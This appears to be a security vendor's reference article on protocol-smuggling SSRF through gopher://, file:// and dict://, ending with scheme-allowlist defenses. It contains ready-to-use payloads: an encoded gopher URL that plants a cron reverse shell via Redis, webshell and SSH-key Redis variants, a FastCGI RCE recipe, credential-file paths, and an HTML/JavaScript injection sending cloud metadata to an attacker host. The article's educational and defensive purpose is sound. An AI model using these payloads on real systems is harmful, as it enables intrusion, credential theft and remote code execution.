Protocol Smuggling SSRF

What is Protocol Smuggling SSRF#

Protocol smuggling SSRF exploits a server-side URL fetcher that supports schemes beyond http:// and https://. When the application uses Python urllib, PHP curl, Java java.net.URL, or similar multi-protocol libraries to make the outbound request, an attacker who controls the URL can inject alternative URI schemes that communicate with non-HTTP services.

The impact escalates from information disclosure to remote code execution: gopher:// sends raw TCP bytes to any port, enabling injection of Redis commands, FastCGI protocol messages, or MySQL queries. file:// reads the local filesystem with the application's process permissions. dict:// sends raw text to services like Memcached. These attacks do not rely on HTTP semantics — the server's URL library issues the raw protocol directly to the target service.

Protocol smuggling is classified under CWE-918 (SSRF) because the fundamental flaw is the same — a server making outbound requests to attacker-controlled destinations — but the impact class reaches full RCE rather than just data exfiltration.

Mechanism#

The vulnerable code pattern: a URL-fetching library that does not enforce scheme restrictions.

// VULNERABLE — Java HttpURLConnection accepts all schemes
URL url = new URL(userInput);  // allows file://, gopher://, dict://
URLConnection con = url.openConnection();
InputStream is = con.getInputStream();  // reads /etc/passwd or Redis response

# VULNERABLE — urllib accepts file:// scheme
import urllib.request
response = urllib.request.urlopen(user_supplied_url)
content = response.read()  # can read file:///etc/passwd, file:///proc/self/environ

Supported schemes by library:

gopher:// — Redis RCE Chain#

gopher:// establishes a raw TCP connection and sends the URL path bytes as the initial payload. Redis uses a line-oriented RESP protocol — gopher:// can inject valid Redis commands by encoding them as URL path bytes with %0D%0A as the CRLF separator.

# Generate Redis SSRF payload with Gopherus
python2 gopherus.py --exploit redis
# Select: Cron Job
# Attacker IP: 10.10.10.10, Port: 4444
# Output: gopher://127.0.0.1:6379/_<URL-encoded Redis commands>
 
# The generated payload executes these Redis commands:
# FLUSHALL
# SET 1 "\n\n* * * * * bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n"
# CONFIG SET dir /var/spool/cron/crontabs
# CONFIG SET dbfilename root
# SAVE

The full gopher payload URL:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%2A%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2427%0D%0A%2Fvar%2Fspool%2Fcron%2Fcrontabs%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A

Alternative Redis payloads:

• PHP webshell: CONFIG SET dir /var/www/html + CONFIG SET dbfilename shell.php + SET 1 '<?php system($_GET["cmd"]); ?>'
• SSH key injection: CONFIG SET dir /root/.ssh + CONFIG SET dbfilename authorized_keys + SET 1 "ssh-rsa ATTACKER_KEY"

Requirements: Redis running without authentication (no requirepass), write permission to the target directory.

gopher:// — FastCGI / PHP-FPM RCE#

PHP-FPM listens on port 9000 (or a Unix socket) using the FastCGI binary protocol. Gopherus encodes a valid FastCGI request into gopher:// format, overriding PHP_VALUE to set auto_prepend_file to an attacker-controlled path — any PHP file on the server is then loaded and executed.

python2 gopherus.py --exploit fastcgi
# Input: /var/www/html/index.php (any existing PHP file on target)
# Output: gopher://127.0.0.1:9000/_<FastCGI-encoded payload>
 
# The payload sets:
# PHP_VALUE: auto_prepend_file=/proc/self/fd/...
# Executes arbitrary PHP code as www-data

Requirements: PHP-FPM listening on TCP port 9000 (default Docker configuration). Unix socket PHP-FPM requires file write access to the socket path.

file:// — Local File Read#

file:// reads any file accessible to the application process. High-value targets:

# User and credential files
file:///etc/passwd               # user enumeration
file:///etc/shadow               # password hashes (requires root)
file:///home/user/.ssh/id_rsa    # SSH private key
 
# Application secrets
file:///var/www/html/.env        # Laravel, Node.js dotenv
file:///var/www/html/config.php  # PHP database credentials
file:///app/config/database.yml  # Rails database config
 
# Cloud credential chain (Lambda/ECS)
file:///proc/self/environ        # env vars: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
file:///proc/1/environ           # container init environment (often has full env)
 
# System state
file:///proc/self/fd/3           # open file descriptor (database socket data)
file:///proc/net/tcp             # internal network connections

wkhtmltopdf — CVE-2022-35583 (CVSS 9.8): Injecting HTML into a PDF template processed by wkhtmltopdf reads local files via file://:

<!-- Injected into PDF template — reads /etc/passwd -->
<iframe src="file:///etc/passwd" height="500" width="500"></iframe>
 
<!-- Cloud credentials via process environment -->
<iframe src="file:///proc/self/environ" height="500" width="500"></iframe>
 
<!-- JavaScript-based metadata exfiltration -->
<script>
var x = new XMLHttpRequest();
x.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false);
x.send();
document.write('<img src="https://attacker.oast.fun/' + btoa(x.responseText) + '">');
</script>

wkhtmltopdf was archived and unmaintained since January 2023, but wrapper libraries (pdfkit, wicked_pdf, KnpSnappy, DinkToPdf) continue to embed it in production applications.

dict:// and Other Protocols#

# dict:// — DICT protocol queries to Memcached or other dict-compatible services
dict://127.0.0.1:11211/stat     # Memcached stats (version, items, memory)
dict://127.0.0.1:6379/INFO      # Redis INFO via DICT (simpler than gopher)
 
# ftp:// — FTP server interaction
ftp://127.0.0.1:21/etc/passwd   # FTP file retrieval (if anonymous allowed)
 
# ldap:// — LDAP directory queries
ldap://127.0.0.1:389/           # LDAP anonymous bind (directory enumeration)
 
# tftp:// — TFTP file retrieval (UDP-based)
tftp://127.0.0.1/etc/passwd     # TFTP read (if service running)

Internal Service Targets#

Protocol smuggling is most impactful when combined with knowledge of common internal service ports. Services likely to be reachable from an application server:

Real-World Examples#

CVE-2022-35583 — wkhtmltopdf (CVSS 9.8) — Archived in January 2023 with unpatched critical SSRF. <iframe src="file:///etc/passwd"> reads local files; <script> with XMLHttpRequest reaches http://169.254.169.254/. Still embedded in production applications via pdfkit (Python), wicked_pdf (Ruby), KnpSnappy (PHP), DinkToPdf (.NET). Any application that accepts HTML input and renders PDFs using this library is vulnerable.

CVE-2025-68437 — Craft CMS GraphQL — The saveAssets mutation fetched arbitrary URLs via PHP curl (which supports gopher://). In configurations where Redis ran on the same host as the CMS, an attacker with GraphQL permissions could supply a Gopherus-generated gopher://127.0.0.1:6379/... payload, achieving Redis command injection through the CMS's legitimate asset import feature.

CVE-2018-1000600 — Jenkins GitHub Plugin (CVSS 8.8) — The "Test Connection" feature in the GitHub plugin made server-side requests to attacker-supplied GitHub API URLs. When the Jenkins server ran Bash CGI scripts (common in CI environments), the SSRF → Shellshock chain (User-Agent: () { :; }; /bin/bash -c "...") achieved full RCE. The combination of parameter SSRF and protocol knowledge demonstrates why these attack surfaces should be treated as RCE-class findings.

Gopherus Redis Chain — Bug Bounty Pattern — Internal bug bounty reports (non-public) consistently cite the gopher:// → Redis → cron pattern as the highest-severity SSRF chain. An SSRF finding confirmed on a parameter, combined with Shodan/FOFA showing Redis on port 6379 (no --requirepass) on the same internal subnet, produces a critical RCE with a single gopher URL. This pattern is the reason Redis should require authentication even on internal networks.

Detection#

Manual Testing#

1. Test file:///etc/passwd as the URL parameter value — if the response contains root:x:0:0: or similar, file:// protocol is supported.
2. Test dict://127.0.0.1:11211/stat — response containing STAT pid confirms Memcached is reachable and dict:// is supported.
3. Generate a Gopherus Redis payload and test: gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A — a 500/502 response containing "gopher" in the body or an error referencing the Redis INFO command suggests gopher:// is supported.
4. Test file:///proc/self/environ — if the response contains PATH= or HOME=, local file read is confirmed and AWS/Lambda credentials may be present.

# BreachVex protocol detection signals:
# file:// confirmed: status 200 with "root:", "daemon:", or "[fonts]" in body
# gopher://, dict://, ftp:// detected: status 500/502/503 with
#   "gopher", "dict", "ftp", "connection refused", or "protocol" in body

Automated Detection#

BreachVex's protocol-smuggling detection tests gopher://, dict://, file://, and ftp:// on all confirmed SSRF parameters. The detection is marker-based — protocol names in error responses confirm support even when the target service is not accessible. For file://, specific content patterns confirm read access without relying on error messages.

Prevention#

Scheme Allowlist (Single Fix, Maximum Impact)#

import urllib.parse
 
ALLOWED_SCHEMES = frozenset({"https"})  # http only if internal-only traffic
 
def validate_scheme(url: str) -> bool:
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError(f"Disallowed scheme: {parsed.scheme}")
    return True
 
# This single check blocks:
# gopher://, file://, dict://, ftp://, ldap://, tftp://
# data:, javascript:, vbscript:, blob:
# Any future novel scheme

// SAFE — Java: strict scheme validation
import java.net.URI;
 
public static void validateScheme(String rawUrl) throws SecurityException {
    try {
        URI uri = new URI(rawUrl);
        String scheme = uri.getScheme();
        if (scheme == null || !scheme.equals("https")) {
            throw new SecurityException("Only https:// scheme is allowed: " + scheme);
        }
    } catch (java.net.URISyntaxException e) {
        throw new SecurityException("Invalid URL: " + rawUrl);
    }
}

Disable File:// in HTTP Clients#

For libraries that support file:// by default, explicitly disable it:

# Python requests — does not support file:// by default (uses urllib3)
# But urllib.request does — use requests instead
 
# If using urllib directly, apply scheme check before calling:
import urllib.parse
 
def safe_open(url: str):
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme == "file":
        raise ValueError("file:// scheme is not allowed")
    return urllib.request.urlopen(url)

// PHP — curl: disable dangerous protocols
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
// This blocks: gopher, file, ftp, dict, ldap, tftp, smb, telnet, ...
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);  // disable redirect following

Resources#

• SSRF — Pillar Overview
• Gopherus — gopher SSRF payload generator
• PortSwigger — SSRF with alternative protocols
• NVD — CVE-2022-35583